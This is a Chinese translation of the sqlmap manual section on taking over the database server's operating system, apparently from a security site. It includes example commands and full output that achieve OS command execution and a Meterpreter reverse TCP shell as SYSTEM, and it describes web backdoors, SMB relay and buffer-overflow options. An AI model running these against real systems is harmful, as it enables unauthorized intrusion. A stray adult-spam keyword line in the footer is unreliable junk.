<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    3.14 SqlMap用法—操作系統控制

    3.14.1.執行任意操作系統命令

    選項和開關:--os-cmd--os-shell

    它可以在數據庫服務器的底層操作系統上運行任意命令時,后端數據庫管理系統或者是MySQL和PostgreSQL或Microsoft SQL Server和會話用戶具有所需的權限濫用數據庫特定的功能和架構的弱點。

    上MySQL和PostgreSQL,SqlMap的上傳(經由文件上傳功能如上所述)含有兩個用戶定義函數的共享庫(二進制文件),sys_exec()sys_eval(),然后將其在數據庫上創建這兩個函數和調用它們中的一個來執行指定的命令,取決于用戶選擇是否顯示標準輸出。在Microsoft SQL Server上,sqlmap濫用xp_cmdshell存儲過程:如果禁用了該存儲過程(默認情況下,在Microsoft SQL Server> = 2005上),則sqlmap會重新啟用它。如果它不存在,則sqlmap從頭開始創建它。

    當用戶請求標準輸出時,sqlmap使用枚舉SQL注入技術(盲,帶內或基于錯誤)中的一種來檢索它。反之亦然,如果不需要標準輸出,則使用堆棧查詢SQL注入技術來執行命令。

    這些技術在白皮書“ 高級SQL注入到操作系統的完全控制”中有詳細介紹。

    針對PostgreSQL目標的示例:

    $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --
    os-cmd id -v 1
    
    [...]
    web application technology: PHP 5.2.6, Apache 2.2.9
    back-end DBMS: PostgreSQL
    [hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
    [hh:mm:12] [INFO] the back-end DBMS operating system is Linux
    [hh:mm:12] [INFO] testing if current user is DBA
    [hh:mm:12] [INFO] detecting back-end DBMS version from its banner
    [hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
    [hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
    [hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
    [hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
    do you want to retrieve the command standard output? [Y/n/a] y
    command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(post
    gres)'
    
    [hh:mm:19] [INFO] cleaning up the database management system
    do you want to remove UDF 'sys_eval'? [Y/n] y
    do you want to remove UDF 'sys_exec'? [Y/n] y
    [hh:mm:23] [INFO] database management system cleanup finished
    [hh:mm:23] [WARNING] remember that UDF shared object files saved on the file sys
    tem can only be deleted manually
    

    也有可能模擬真實的shell,您可以在其中鍵入任意數量的任意命令。該選項具有--os-shell并且具有與之相同的TAB完成和歷史功能--sql-shell

    如果尚未在Web應用程序上識別出堆棧查詢(例如,后端數據庫管理系統為MySQL的PHP??或ASP),而DBMS為MySQL,則仍然有可能濫用該SELECT子句INTO OUTFILE在其中的可寫文件夾中創建Web后門假設后端DBMS和Web服務器托管在同一服務器上,則Web服務器文檔的根目錄仍然可以執行命令。sqlmap支持此技術,并允許用戶提供可能的文檔根子文件夾的逗號分隔列表,其中嘗試上載Web文件暫存器和隨后的Web后門。此外,sqlmap具有針對以下語言的經過測試的Web文件登臺程序和后門程序:

    • 均價
    • ASP.NET
    • JSP
    • 的PHP

    3.14.2.帶外TCP連接:Meterpreter及相關

    開關和選項:--os-pwn--os-smbrelay--os-bof--priv-esc--msf-path--tmp-path

    當后端數據庫管理系統是MySQL,PostgreSQL或Microsoft SQL Server,并且會話用戶有需要時,可以在攻擊者機器與數據庫服務器基礎操作系統之間建立帶外狀態TCP連接。濫用數據庫特定功能和體系結構弱點的特權。根據用戶的選擇,此通道可以是交互式命令提示符,Meterpreter會話或圖形用戶界面(VNC)會話。

    sqlmap依靠Metasploit創建shellcode,并實現四種不同的技術在數據庫服務器上執行它。這些技術是:

    • 通過sqlmap自己的用戶定義函數在Metasploit的shellcode的數據庫內存中執行sys_bineval()。在MySQL和PostgreSQL-switch上受支持--os-pwn
    • 通過MySQL和PostgreSQL上的sqlmap自己的用戶定義函數或通過Microsoft SQL Server-switch上載和執行Metasploit的獨立有效負載暫存器。sys_exec()``xp_cmdshell()``--os-pwn
    • 通過執行SMB反射攻擊MS08-068),執行從數據庫服務器到Metasploit smb_relay服務器利用程序偵聽的攻擊者機器的UNC路徑請求,執行Metasploit的shellcode 。uid=0在Linux / Unix上以高特權()運行sqlmap時,在Windows-switch上,目標DBMS以管理員身份運行時受支持--os-smbrelay
    • 通過利用Microsoft SQL Server 2000和2005 sp_replwritetovarbin存儲過程基于堆的緩沖區溢出,對Metasploit的shellcode進行數據庫內存執行。sqlmap有自己的利用漏洞,可以通過自動DEP內存保護繞過來觸發該漏洞,但是它依靠Metasploit生成外殼代碼,以在成功利用漏洞切換成功后執行該代碼--os-bof

    針對MySQL目標的示例:

    $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?
    id=1" --os-pwn --msf-path /software/metasploit
    
    [...]
    [hh:mm:31] [INFO] the back-end DBMS is MySQL
    web server operating system: Windows 2003
    web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
    back-end DBMS: MySQL 5.0
    [hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
    [hh:mm:31] [INFO] the back-end DBMS operating system is Windows
    how do you want to establish the tunnel?
    [1] TCP: Metasploit Framework (default)
    [2] ICMP: icmpsh - ICMP tunneling
    > 
    [hh:mm:32] [INFO] testing if current user is DBA
    [hh:mm:32] [INFO] fetching current user
    what is the back-end database management system architecture?
    [1] 32-bit (default)
    [2] 64-bit
    > 
    [hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
    [hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
    [hh:mm:33] [INFO] detecting back-end DBMS version from its banner
    [hh:mm:33] [INFO] retrieving MySQL base directory absolute path
    [hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
    [hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
    how do you want to execute the Metasploit shellcode on the back-end database und
    erlying operating system?
    [1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
    [2] Stand-alone payload stager (file system way)
    > 
    [hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode 
    which connection type do you want to use?
    [1] Reverse TCP: Connect back from the database host to this machine (default)
    [2] Reverse TCP: Try to connect back from the database host to this machine, on 
    all ports 
    between the specified and 65535
    [3] Bind TCP: Listen on the database host for a connection
    > 
    which is the local address? [192.168.136.1] 
    which local port number do you want to use? [60641] 
    which payload do you want to use?
    [1] Meterpreter (default)
    [2] Shell
    [3] VNC
    > 
    [hh:mm:40] [INFO] creation in progress ... done
    [hh:mm:43] [INFO] running Metasploit Framework command line interface locally, p
    lease wait..
    
                                    _
                                    | |      o
    _  _  _    _ _|_  __,   ,    _  | |  __    _|_
    / |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
    |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                            /|
                            \|
    
        =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
    + -- --=[ 674 exploits - 351 auxiliary
    + -- --=[ 217 payloads - 27 encoders - 8 nops
        =[ svn r12272 updated 4 days ago (2011.04.07)
    
    PAYLOAD => windows/meterpreter/reverse_tcp
    EXITFUNC => thread
    LPORT => 60641
    LHOST => 192.168.136.1
    [*] Started reverse handler on 192.168.136.1:60641 
    [*] Starting the payload handler...
    [hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_b
    ineval', please wait..
    [*] Sending stage (749056 bytes) to 192.168.136.129
    [*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) a
    t Mon Apr 11 hh:mm:52 +0100 2011
    
    meterpreter > Loading extension espia...success.
    meterpreter > Loading extension incognito...success.
    meterpreter > [-] The 'priv' extension has already been loaded.
    meterpreter > Loading extension sniffer...success.
    meterpreter > System Language : en_US
    OS              : Windows .NET Server (Build 3790, Service Pack 2).
    Computer        : W2K3R2
    Architecture    : x86
    Meterpreter     : x86/win32
    meterpreter > Server username: NT AUTHORITY\SYSTEM
    meterpreter > ipconfig
    
    MS TCP Loopback interface
    Hardware MAC: 00:00:00:00:00:00
    IP Address  : 127.0.0.1
    Netmask     : 255.0.0.0
    
    Intel(R) PRO/1000 MT Network Connection
    Hardware MAC: 00:0c:29:fc:79:39
    IP Address  : 192.168.136.129
    Netmask     : 255.255.255.0
    
    meterpreter > exit
    
    [*] Meterpreter session 1 closed.  Reason: User exit
    

    默認情況下,Windows上的MySQL運行為SYSTEM,而PostgreSQL postgres在Windows和Linux上均以低特權用戶身份運行。默認情況下SYSTEM,Microsoft SQL Server 2000的運行方式為,而Microsoft SQL Server 2005和2008的大多數情況下的運行時間為NETWORK SERVICE,有時為LOCAL SERVICE

    可以為sqlmap提供開關,--priv-esc以通過Metasploit的命令執行數據庫進程的用戶特權升級getsystem,該命令除其他外包括kitrap0d技術 (MS10-015)。

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类